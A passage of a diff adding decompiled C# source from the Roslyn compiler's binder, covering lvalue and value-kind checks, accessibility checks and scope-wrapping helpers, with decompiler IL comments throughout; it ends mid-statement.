ReportDiagnosticsIfUnmanagedCallersOnly(BindingDiagnosticBag diagnostics, MethodSymbol symbol, SyntaxNodeOrToken syntax, bool isDelegateConversion) + { + UnmanagedCallersOnlyAttributeData unmanagedCallersOnlyAttributeData = symbol.GetUnmanagedCallersOnlyAttributeData(forceComplete: false); + if (unmanagedCallersOnlyAttributeData != null) + { + diagnostics.Add((DiagnosticInfo?)((unmanagedCallersOnlyAttributeData == UnmanagedCallersOnlyAttributeData.Uninitialized) ? ((object)new LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo(symbol, isDelegateConversion)) : ((object)new CSDiagnosticInfo(isDelegateConversion ? ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate : ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly, symbol))), ((SyntaxNodeOrToken)(ref syntax)).GetLocation()); + } + } + + internal static bool IsSymbolAccessibleConditional(Symbol symbol, AssemblySymbol within, ref CompoundUseSiteInfo useSiteInfo) + { + return AccessCheck.IsSymbolAccessible(symbol, within, ref useSiteInfo); + } + + internal bool IsSymbolAccessibleConditional(Symbol symbol, NamedTypeSymbol within, ref CompoundUseSiteInfo useSiteInfo, TypeSymbol? throughTypeOpt = null) + { + if (!Flags.Includes(BinderFlags.IgnoreAccessibility)) + { + return AccessCheck.IsSymbolAccessible(symbol, within, ref useSiteInfo, throughTypeOpt); + } + return true; + } + + internal bool IsSymbolAccessibleConditional(Symbol symbol, NamedTypeSymbol within, TypeSymbol throughTypeOpt, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList? basesBeingResolved = null) + { + if (Flags.Includes(BinderFlags.IgnoreAccessibility)) + { + failedThroughTypeCheck = false; + return true; + } + return AccessCheck.IsSymbolAccessible(symbol, within, throughTypeOpt, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + + internal static void ReportUseSiteDiagnosticForSynthesizedAttribute(CSharpCompilation compilation, WellKnownMember attributeMember, BindingDiagnosticBag diagnostics, Location? location = null, CSharpSyntaxNode? syntax = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + bool isOptional = WellKnownMembers.IsSynthesizedAttributeOptional(attributeMember); + GetWellKnownTypeMember(compilation, attributeMember, diagnostics, location, (SyntaxNode)(object)syntax, isOptional); + } + + internal static void AddUseSiteDiagnosticForSynthesizedAttribute(CSharpCompilation compilation, WellKnownMember attributeMember, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + GetWellKnownTypeMember(compilation, attributeMember, out var useSiteInfo2, WellKnownMembers.IsSynthesizedAttributeOptional(attributeMember)); + useSiteInfo.Add(useSiteInfo2); + } + + public CompoundUseSiteInfo GetNewCompoundUseSiteInfo(BindingDiagnosticBag futureDestination) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return new CompoundUseSiteInfo((BindingDiagnosticBag)(object)futureDestination, Compilation.Assembly); + } + + internal BoundExpression WrapWithVariablesIfAny(CSharpSyntaxNode scopeDesignator, BoundExpression expression) + { + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)scopeDesignator); + if (!declaredLocalsForScope.IsEmpty) + { + return new BoundSequence((SyntaxNode)(object)scopeDesignator, declaredLocalsForScope, ImmutableArray.Empty, expression, getType()) + { + WasCompilerGenerated = true + }; + } + return expression; + TypeSymbol getType() + { + return expression.Type; + } + } + + internal BoundStatement WrapWithVariablesIfAny(CSharpSyntaxNode scopeDesignator, BoundStatement statement) + { + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)scopeDesignator); + if (declaredLocalsForScope.IsEmpty) + { + return statement; + } + return new BoundBlock(statement.Syntax, declaredLocalsForScope, ImmutableArray.Create(statement)) + { + WasCompilerGenerated = true + }; + } + + internal BoundStatement WrapWithVariablesAndLocalFunctionsIfAny(CSharpSyntaxNode scopeDesignator, BoundStatement statement) + { + ImmutableArray declaredLocalsForScope = GetDeclaredLocalsForScope((SyntaxNode)(object)scopeDesignator); + ImmutableArray declaredLocalFunctionsForScope = GetDeclaredLocalFunctionsForScope(scopeDesignator); + if (declaredLocalsForScope.IsEmpty && declaredLocalFunctionsForScope.IsEmpty) + { + return statement; + } + return new BoundBlock(statement.Syntax, declaredLocalsForScope, declaredLocalFunctionsForScope, hasUnsafeModifier: false, null, ImmutableArray.Create(statement)) + { + WasCompilerGenerated = true + }; + } + + internal string Dump() + { + return TreeDumper.DumpCompact(dumpAncestors()); + TreeDumperNode dumpAncestors() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_00e9: Expected O, but got Unknown + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + TreeDumperNode val = null; + for (Binder binder = this; binder != null; binder = binder.Next) + { + (string description, string? snippet, string locals) tuple = print(binder); + string item = tuple.description; + string item2 = tuple.snippet; + string item3 = tuple.locals; + List list = new List(); + if (!EnumerableExtensions.IsEmpty(item3)) + { + list.Add(new TreeDumperNode("locals", (object)item3, (IEnumerable)null)); + } + Symbol containingMemberOrLambda = binder.ContainingMemberOrLambda; + if (containingMemberOrLambda != null && containingMemberOrLambda != binder.Next?.ContainingMemberOrLambda) + { + list.Add(new TreeDumperNode("containing symbol", (object)containingMemberOrLambda.ToDisplayString(), (IEnumerable)null)); + } + if (item2 != null) + { + list.Add(new TreeDumperNode("scope", (object)$"{item2} ({binder.ScopeDesignator?.Kind()})", (IEnumerable)null)); + } + if (val != null) + { + list.Add(val); + } + val = new TreeDumperNode(item, (object)null, (IEnumerable)list); + } + return val; + } + static (string description, string? snippet, string locals) print(Binder scope) + { + string item = string.Join(", ", ImmutableArrayExtensions.SelectAsArray(scope.Locals, (Func)((LocalSymbol s) => s.Name))); + string item2 = null; + if (scope.ScopeDesignator != null) + { + string[] array = ((object)scope.ScopeDesignator).ToString().Split(new string[1] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + if (array.Length == 1) + { + item2 = array[0]; + } + else + { + string text = array[0]; + string text2 = array[^1].Trim(); + int num = Math.Min(text2.Length, 12); + item2 = text.Substring(0, Math.Min(text.Length, 12)) + " ... " + text2.Substring(text2.Length - num, num); + } + item2 = (EnumerableExtensions.IsEmpty(item2) ? null : item2); + } + return (description: scope.GetType().Name, snippet: item2, locals: item); + } + } + + private static bool RequiresRValueOnly(BindValueKind kind) + { + return (kind & (BindValueKind)65532) == BindValueKind.RValue; + } + + private static bool RequiresAssignmentOnly(BindValueKind kind) + { + return (kind & (BindValueKind)65532) == BindValueKind.Assignable; + } + + private static bool RequiresVariable(BindValueKind kind) + { + return !RequiresRValueOnly(kind); + } + + private static bool RequiresReferenceToLocation(BindValueKind kind) + { + return (kind & BindValueKind.RefersToLocation) != 0; + } + + private static bool RequiresAssignableVariable(BindValueKind kind) + { + return (kind & BindValueKind.Assignable) != 0; + } + + private static bool RequiresRefAssignableVariable(BindValueKind kind) + { + return (kind & BindValueKind.RefAssignable) != 0; + } + + private static bool RequiresRefOrOut(BindValueKind kind) + { + return (kind & BindValueKind.RefOrOut) == BindValueKind.RefOrOut; + } + + private BoundIndexerAccess BindIndexerDefaultArguments(BoundIndexerAccess indexerAccess, BindValueKind valueKind, BindingDiagnosticBag diagnostics) + { + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + bool flag = valueKind == BindValueKind.Assignable && !indexerAccess.Indexer.ReturnsByRef; + MethodSymbol methodSymbol = (flag ? indexerAccess.Indexer.GetOwnOrInheritedSetMethod() : indexerAccess.Indexer.GetOwnOrInheritedGetMethod()); + if ((object)methodSymbol != null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(methodSymbol.ParameterCount); + instance.AddRange(indexerAccess.Arguments); + ArrayBuilder val; + if (!indexerAccess.ArgumentRefKindsOpt.IsDefaultOrEmpty) + { + val = ArrayBuilder.GetInstance(methodSymbol.ParameterCount); + val.AddRange(indexerAccess.ArgumentRefKindsOpt); + } + else + { + val = null; + } + ImmutableArray argsToParamsOpt = indexerAccess.ArgsToParamsOpt; + ImmutableArray parameters = methodSymbol.Parameters; + if (flag) + { + parameters = parameters.RemoveAt(parameters.Length - 1); + } + BitVector defaultArguments = default(BitVector); + if (indexerAccess.OriginalIndexersOpt.IsDefault) + { + BindDefaultArguments(indexerAccess.Syntax, parameters, instance, val, ref argsToParamsOpt, out defaultArguments, indexerAccess.Expanded, enableCallerInfo: true, diagnostics); + } + indexerAccess = indexerAccess.Update(indexerAccess.ReceiverOpt, indexerAccess.InitialBindingReceiverIsSubjectToCloning, indexerAccess.Indexer, instance.ToImmutableAndFree(), indexerAccess.ArgumentNamesOpt, val?.ToImmutableOrNull() ?? default(ImmutableArray), indexerAccess.Expanded, argsToParamsOpt, defaultArguments, indexerAccess.Type); + val?.Free(); + } + return indexerAccess; + } + + private BoundExpression CheckValue(BoundExpression expr, BindValueKind valueKind, BindingDiagnosticBag diagnostics) + { + //IL_015a: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + switch (expr.Kind) + { + case BoundKind.PropertyGroup: + expr = BindIndexedPropertyAccess((BoundPropertyGroup)expr, mustHaveAllOptionalParameters: false, diagnostics); + if (expr is BoundIndexerAccess indexerAccess) + { + expr = BindIndexerDefaultArguments(indexerAccess, valueKind, diagnostics); + } + break; + case BoundKind.OutVariablePendingInference: + case BoundKind.OutDeconstructVarPendingInference: + return expr; + case BoundKind.DiscardExpression: + return expr; + case BoundKind.IndexerAccess: + expr = BindIndexerDefaultArguments((BoundIndexerAccess)expr, valueKind, diagnostics); + break; + case BoundKind.UnconvertedObjectCreationExpression: + if (valueKind == BindValueKind.RValue) + { + return expr; + } + break; + case BoundKind.UnconvertedCollectionExpression: + if (valueKind == BindValueKind.RValue) + { + return expr; + } + break; + case BoundKind.PointerIndirectionOperator: + if ((valueKind & BindValueKind.RefersToLocation) == BindValueKind.RefersToLocation) + { + BoundPointerIndirectionOperator boundPointerIndirectionOperator = (BoundPointerIndirectionOperator)expr; + expr = boundPointerIndirectionOperator.Update(boundPointerIndirectionOperator.Operand, refersToLocation: true, boundPointerIndirectionOperator.Type); + } + break; + case BoundKind.PointerElementAccess: + if ((valueKind & BindValueKind.RefersToLocation) == BindValueKind.RefersToLocation) + { + BoundPointerElementAccess boundPointerElementAccess = (BoundPointerElementAccess)expr; + expr = boundPointerElementAccess.Update(boundPointerElementAccess.Expression, boundPointerElementAccess.Index, boundPointerElementAccess.Checked, refersToLocation: true, boundPointerElementAccess.Type); + } + break; + } + bool flag = false; + if (expr.Kind == BoundKind.MethodGroup && valueKind != BindValueKind.RValueOrMethodGroup) + { + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)expr; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodGroupResolution methodGroupResolution = ResolveMethodGroup(boundMethodGroup, null, isMethodGroupConversion: false, ref useSiteInfo, inferWithDynamic: false, (RefKind)0, null, isFunctionPointerResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add(expr.Syntax, useSiteInfo); + Symbol symbol = null; + bool num = methodGroupResolution.MethodGroup != null; + if (!expr.HasAnyErrors) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + } + flag = methodGroupResolution.HasAnyErrors; + if (flag) + { + symbol = methodGroupResolution.OtherSymbol; + } + methodGroupResolution.Free(); + if (!num) + { + BoundExpression boundExpression = boundMethodGroup.ReceiverOpt; + if ((object)symbol != null && boundExpression != null && boundExpression.Kind == BoundKind.TypeOrValueExpression) + { + BoundTypeOrValueExpression boundTypeOrValueExpression = (BoundTypeOrValueExpression)boundExpression; + boundExpression = (symbol.RequiresInstanceReceiver() ? boundTypeOrValueExpression.Data.ValueExpression : null); + } + return new BoundBadExpression(expr.Syntax, boundMethodGroup.ResultKind, ((object)symbol == null) ? ImmutableArray.Empty : ImmutableArray.Create(symbol), (boundExpression == null) ? ImmutableArray.Empty : ImmutableArray.Create(boundExpression), GetNonMethodMemberType(symbol)); + } + } + if ((!flag && CheckValueKind(expr.Syntax, expr, valueKind, checkingReceiver: false, diagnostics)) || (expr.HasAnyErrors && valueKind == BindValueKind.RValueOrMethodGroup)) + { + return expr; + } + LookupResultKind resultKind = ((valueKind == BindValueKind.RValue || valueKind == BindValueKind.RValueOrMethodGroup) ? LookupResultKind.NotAValue : LookupResultKind.NotAVariable); + return ToBadExpression(expr, resultKind); + } + + internal static bool IsTypeOrValueExpression(BoundExpression expression) + { + BoundKind? boundKind = expression?.Kind; + if (boundKind.HasValue) + { + BoundKind valueOrDefault = boundKind.GetValueOrDefault(); + if (valueOrDefault == BoundKind.TypeOrValueExpression || (valueOrDefault == BoundKind.QueryClause && ((BoundQueryClause)expression).Value.Kind == BoundKind.TypeOrValueExpression)) + { + return true; + } + } + return false; + } + + internal bool CheckValueKind(SyntaxNode node, BoundExpression expr, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Invalid comparison between Unknown and I4 + //IL_06c5: Unknown result type (might be due to invalid IL or missing references) + //IL_025e: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_02c2: Unknown result type (might be due to invalid IL or missing references) + //IL_03eb: Unknown result type (might be due to invalid IL or missing references) + //IL_030c: Unknown result type (might be due to invalid IL or missing references) + //IL_03b9: Unknown result type (might be due to invalid IL or missing references) + //IL_0409: Unknown result type (might be due to invalid IL or missing references) + //IL_02a6: Unknown result type (might be due to invalid IL or missing references) + //IL_048c: Unknown result type (might be due to invalid IL or missing references) + //IL_05af: Unknown result type (might be due to invalid IL or missing references) + //IL_05b4: Unknown result type (might be due to invalid IL or missing references) + //IL_05b6: Unknown result type (might be due to invalid IL or missing references) + //IL_05bd: Invalid comparison between Unknown and I4 + //IL_037e: Unknown result type (might be due to invalid IL or missing references) + //IL_036d: Unknown result type (might be due to invalid IL or missing references) + //IL_05e3: Unknown result type (might be due to invalid IL or missing references) + //IL_05bf: Unknown result type (might be due to invalid IL or missing references) + //IL_05c6: Invalid comparison between Unknown and I4 + if (expr.HasAnyErrors) + { + return false; + } + switch (expr.Kind) + { + case BoundKind.ImplicitIndexerAccess: + if (((BoundImplicitIndexerAccess)expr).IndexerOrSliceAccess.Kind != BoundKind.IndexerAccess) + { + break; + } + goto case BoundKind.PropertyAccess; + case BoundKind.PropertyAccess: + case BoundKind.IndexerAccess: + return CheckPropertyValueKind(node, expr, valueKind, checkingReceiver, diagnostics); + case BoundKind.EventAccess: + return CheckEventValueKind((BoundEventAccess)expr, valueKind, diagnostics); + } + if (RequiresRValueOnly(valueKind)) + { + return CheckNotNamespaceOrType(expr, diagnostics); + } + if (expr.ConstantValueOpt != (ConstantValue)null || (int)expr.Type.GetSpecialTypeSafe() == 6) + { + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + bool isValueType; + switch (expr.Kind) + { + case BoundKind.NamespaceExpression: + { + BoundNamespaceExpression boundNamespaceExpression = (BoundNamespaceExpression)expr; + Error(diagnostics, ErrorCode.ERR_BadSKknown, SyntaxNodeOrToken.op_Implicit(node), boundNamespaceExpression.NamespaceSymbol, MessageID.IDS_SK_NAMESPACE.Localize(), MessageID.IDS_SK_VARIABLE.Localize()); + return false; + } + case BoundKind.TypeExpression: + { + BoundTypeExpression boundTypeExpression = (BoundTypeExpression)expr; + Error(diagnostics, ErrorCode.ERR_BadSKknown, SyntaxNodeOrToken.op_Implicit(node), boundTypeExpression.Type, MessageID.IDS_SK_TYPE.Localize(), MessageID.IDS_SK_VARIABLE.Localize()); + return false; + } + case BoundKind.Lambda: + case BoundKind.UnboundLambda: + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + return false; + case BoundKind.UnconvertedAddressOfOperator: + { + BoundUnconvertedAddressOfOperator boundUnconvertedAddressOfOperator = (BoundUnconvertedAddressOfOperator)expr; + Error(diagnostics, GetMethodGroupOrFunctionPointerLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node), boundUnconvertedAddressOfOperator.Operand.Name, MessageID.IDS_AddressOfMethodGroup.Localize()); + return false; + } + case BoundKind.MethodGroup: + { + if (valueKind == BindValueKind.AddressOf) + { + return true; + } + BoundMethodGroup boundMethodGroup = (BoundMethodGroup)expr; + Error(diagnostics, GetMethodGroupOrFunctionPointerLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node), boundMethodGroup.Name, MessageID.IDS_MethodGroup.Localize()); + return false; + } + case BoundKind.RangeVariable: + { + BoundRangeVariable boundRangeVariable = (BoundRangeVariable)expr; + ErrorCode rangeLvalueError = GetRangeLvalueError(valueKind); + if ((rangeLvalueError == ErrorCode.ERR_InvalidAddrOp || rangeLvalueError == ErrorCode.ERR_RefLocalOrParamExpected) ? true : false) + { + Error(diagnostics, rangeLvalueError, SyntaxNodeOrToken.op_Implicit(node)); + } + else + { + Error(diagnostics, rangeLvalueError, SyntaxNodeOrToken.op_Implicit(node), boundRangeVariable.RangeVariableSymbol.Name); + } + return false; + } + case BoundKind.Conversion: + if (((BoundConversion)expr).ConversionKind == ConversionKind.Unboxing) + { + Error(diagnostics, ErrorCode.ERR_UnboxNotLValue, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + break; + case BoundKind.ArrayAccess: + return checkArrayAccessValueKind(node, valueKind, ((BoundArrayAccess)expr).Indices, diagnostics); + case BoundKind.PointerIndirectionOperator: + case BoundKind.RefValueOperator: + case BoundKind.DynamicMemberAccess: + case BoundKind.DynamicObjectInitializerMember: + case BoundKind.DynamicIndexerAccess: + if (RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + return true; + case BoundKind.PointerElementAccess: + if (RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + if (((BoundPointerElementAccess)expr).Expression is BoundFieldAccess boundFieldAccess && boundFieldAccess.FieldSymbol.IsFixedSizeBuffer) + { + return CheckValueKind(node, boundFieldAccess.ReceiverOpt, valueKind, checkingReceiver: true, diagnostics); + } + return true; + case BoundKind.Parameter: + { + BoundParameter parameter = (BoundParameter)expr; + return CheckParameterValueKind(node, parameter, valueKind, checkingReceiver, diagnostics); + } + case BoundKind.Local: + { + BoundLocal local = (BoundLocal)expr; + return CheckLocalValueKind(node, local, valueKind, checkingReceiver, diagnostics); + } + case BoundKind.ThisReference: + if (RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + isValueType = ((BoundThisReference)expr).Type.IsValueType; + if (isValueType) + { + if (RequiresAssignableVariable(valueKind)) + { + MethodSymbol obj = ContainingMemberOrLambda as MethodSymbol; + if ((object)obj != null && obj.IsEffectivelyReadOnly) + { + goto IL_04cf; + } + } + return true; + } + goto IL_04cf; + case BoundKind.ObjectOrCollectionValuePlaceholder: + case BoundKind.ImplicitReceiver: + return true; + case BoundKind.Call: + { + BoundCall boundCall2 = (BoundCall)expr; + return CheckMethodReturnValueKind(boundCall2.Method, boundCall2.Syntax, node, valueKind, checkingReceiver, diagnostics); + } + case BoundKind.FunctionPointerInvocation: + return CheckMethodReturnValueKind(((BoundFunctionPointerInvocation)expr).FunctionPointer.Signature, expr.Syntax, node, valueKind, checkingReceiver, diagnostics); + case BoundKind.ImplicitIndexerAccess: + { + BoundImplicitIndexerAccess boundImplicitIndexerAccess = (BoundImplicitIndexerAccess)expr; + BoundExpression indexerOrSliceAccess = boundImplicitIndexerAccess.IndexerOrSliceAccess; + if (!(indexerOrSliceAccess is BoundArrayAccess boundArrayAccess)) + { + if (indexerOrSliceAccess is BoundCall boundCall) + { + return CheckMethodReturnValueKind(boundCall.Method, boundCall.Syntax, node, valueKind, checkingReceiver, diagnostics); + } + throw ExceptionUtilities.UnexpectedValue((object)boundImplicitIndexerAccess.IndexerOrSliceAccess.Kind); + } + return checkArrayAccessValueKind(node, valueKind, boundArrayAccess.Indices, diagnostics); + } + case BoundKind.InlineArrayAccess: + { + BoundInlineArrayAccess boundInlineArrayAccess = (BoundInlineArrayAccess)expr; + bool flag = boundInlineArrayAccess.IsValue; + if (!flag) + { + WellKnownMember getItemOrSliceHelper = boundInlineArrayAccess.GetItemOrSliceHelper; + bool flag2 = (((int)getItemOrSliceHelper == 402 || (int)getItemOrSliceHelper == 408) ? true : false); + flag = flag2; + } + if (!flag) + { + MethodSymbol methodSymbol = (MethodSymbol)Compilation.GetWellKnownTypeMember(boundInlineArrayAccess.GetItemOrSliceHelper); + if ((object)methodSymbol == null) + { + return true; + } + methodSymbol = methodSymbol.AsMember(methodSymbol.ContainingType.Construct(ImmutableArray.Create(boundInlineArrayAccess.Expression.Type.TryGetInlineArrayElementField().TypeWithAnnotations))); + return CheckMethodReturnValueKind(methodSymbol, boundInlineArrayAccess.Syntax, node, valueKind, checkingReceiver, diagnostics); + } + break; + } + case BoundKind.ConditionalOperator: + { + BoundConditionalOperator boundConditionalOperator = (BoundConditionalOperator)expr; + if (boundConditionalOperator.IsRef && (CheckValueKind(boundConditionalOperator.Consequence.Syntax, boundConditionalOperator.Consequence, valueKind, checkingReceiver: false, diagnostics) & CheckValueKind(boundConditionalOperator.Alternative.Syntax, boundConditionalOperator.Alternative, valueKind, checkingReceiver: false, diagnostics))) + { + return true; + } + break; + } + case BoundKind.FieldAccess: + { + BoundFieldAccess fieldAccess = (BoundFieldAccess)expr; + return CheckFieldValueKind(node, fieldAccess, valueKind, checkingReceiver, diagnostics); + } + case BoundKind.AssignmentOperator: + { + BoundAssignmentOperator assignment = (BoundAssignmentOperator)expr; + return CheckSimpleAssignmentValueKind(node, assignment, valueKind, diagnostics); + } + IL_04cf: + ReportThisLvalueError(node, valueKind, isValueType, isPrimaryConstructorParameter: false, diagnostics); + return false; + } + Error(diagnostics, GetStandardLvalueError(valueKind), SyntaxNodeOrToken.op_Implicit(node)); + return false; + bool checkArrayAccessValueKind(SyntaxNode val, BindValueKind kind, ImmutableArray indices, BindingDiagnosticBag diagnostics2) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + if (RequiresRefAssignableVariable(kind)) + { + Error(diagnostics2, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(val)); + return false; + } + if (indices.Length == 1 && TypeSymbol.Equals(indices[0].Type, Compilation.GetWellKnownType((WellKnownType)285), (TypeCompareKind)0)) + { + Error(diagnostics2, GetStandardLvalueError(kind), SyntaxNodeOrToken.op_Implicit(val)); + return false; + } + return true; + } + } + + private static void ReportThisLvalueError(SyntaxNode node, BindValueKind valueKind, bool isValueType, bool isPrimaryConstructorParameter, BindingDiagnosticBag diagnostics) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + ErrorCode thisLvalueError = GetThisLvalueError(valueKind, isValueType, isPrimaryConstructorParameter); + bool flag; + switch (thisLvalueError) + { + case ErrorCode.ERR_InvalidAddrOp: + case ErrorCode.ERR_IncrementLvalueExpected: + case ErrorCode.ERR_RefLvalueExpected: + case ErrorCode.ERR_RefReturnThis: + case ErrorCode.ERR_RefLocalOrParamExpected: + flag = true; + break; + default: + flag = false; + break; + } + if (flag) + { + Error(diagnostics, thisLvalueError, SyntaxNodeOrToken.op_Implicit(node)); + return; + } + Error(diagnostics, thisLvalueError, SyntaxNodeOrToken.op_Implicit(node), node); + } + + private static bool CheckNotNamespaceOrType(BoundExpression expr, BindingDiagnosticBag diagnostics) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + switch (expr.Kind) + { + case BoundKind.NamespaceExpression: + Error(diagnostics, ErrorCode.ERR_BadSKknown, SyntaxNodeOrToken.op_Implicit(expr.Syntax), ((BoundNamespaceExpression)expr).NamespaceSymbol, MessageID.IDS_SK_NAMESPACE.Localize(), MessageID.IDS_SK_VARIABLE.Localize()); + return false; + case BoundKind.TypeExpression: + Error(diagnostics, ErrorCode.ERR_BadSKunknown, SyntaxNodeOrToken.op_Implicit(expr.Syntax), expr.Type, MessageID.IDS_SK_TYPE.Localize()); + return false; + default: + return true; + } + } + + private bool CheckLocalValueKind(SyntaxNode node, BoundLocal local, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + if (valueKind == BindValueKind.AddressOf && IsInAsyncMethod()) + { + Error(diagnostics, ErrorCode.WRN_AddressOfInAsync, SyntaxNodeOrToken.op_Implicit(node)); + } + LocalSymbol localSymbol = local.LocalSymbol; + if (RequiresAssignableVariable(valueKind)) + { + if (LockedOrDisposedVariables.Contains(localSymbol)) + { + diagnostics.Add(ErrorCode.WRN_AssignmentToLockOrDispose, local.Syntax.Location, localSymbol); + } + if ((int)localSymbol.RefKind == 3 || ((int)localSymbol.RefKind == 0 && !localSymbol.IsWritableVariable)) + { + ReportReadonlyLocalError(node, localSymbol, valueKind, checkingReceiver, diagnostics); + return false; + } + } + else if (RequiresRefAssignableVariable(valueKind)) + { + if ((int)localSymbol.RefKind == 0) + { + diagnostics.Add(ErrorCode.ERR_RefLocalOrParamExpected, node.Location); + return false; + } + if (!localSymbol.IsWritableVariable) + { + ReportReadonlyLocalError(node, localSymbol, valueKind, checkingReceiver, diagnostics); + return false; + } + } + return true; + } + + private bool CheckParameterValueKind(SyntaxNode node, BoundParameter parameter, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + if (valueKind == BindValueKind.AddressOf && IsInAsyncMethod()) + { + Error(diagnostics, ErrorCode.WRN_AddressOfInAsync, SyntaxNodeOrToken.op_Implicit(node)); + } + ParameterSymbol parameterSymbol = parameter.ParameterSymbol; + RefKind refKind = parameterSymbol.RefKind; + bool flag = refKind - 3 <= 1; + if (flag && RequiresAssignableVariable(valueKind)) + { + ReportReadOnlyError(parameterSymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + } + if ((int)parameterSymbol.RefKind == 0 && RequiresRefAssignableVariable(valueKind)) + { + Error(diagnostics, ErrorCode.ERR_RefLocalOrParamExpected, SyntaxNodeOrToken.op_Implicit(node)); + return false; + } + if ((int)parameterSymbol.RefKind == 0 && parameterSymbol.ContainingSymbol is SynthesizedPrimaryConstructor synthesizedPrimaryConstructor && synthesizedPrimaryConstructor.GetCapturedParameters().TryGetValue(parameterSymbol, out FieldSymbol value)) + { + if (value.IsReadOnly && RequiresAssignableVariable(valueKind) && !CanModifyReadonlyField(receiverIsThis: true, value)) + { + reportReadOnlyParameterError(parameterSymbol, node, valueKind, checkingReceiver, diagnostics); + return false; + } + if (RequiresAssignableVariable(valueKind) && !value.ContainingType.IsReferenceType) + { + MethodSymbol obj = ContainingMemberOrLambda as MethodSymbol; + if ((object)obj != null && obj.IsEffectivelyReadOnly) + { + ReportThisLvalueError(node, valueKind, isValueType: true, isPrimaryConstructorParameter: true, diagnostics); + return false; + } + } + } + if (LockedOrDisposedVariables.Contains(parameterSymbol)) + { + diagnostics.Add(ErrorCode.WRN_AssignmentToLockOrDispose, parameter.Syntax.Location, parameterSymbol.Name); + } + return true; + } + + private static void reportReadOnlyParameterError(ParameterSymbol parameterSymbol, SyntaxNode node, BindValueKind valueKind, bool checkingReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + if (checkingReceiver) + { + ErrorCode code = ((valueKind == BindValueKind.RefReturn) ? ErrorCode.ERR_RefReturnReadonlyPrimaryConstructorParameter2 : ((!RequiresRefOrOut(valueKind)) ? ErrorCode.ERR_AssgReadonlyPrimaryConstructorParameter2 : ErrorCode.ERR_RefReadonlyPrimaryConstructorParameter2)); + Error(diagnostics, code, 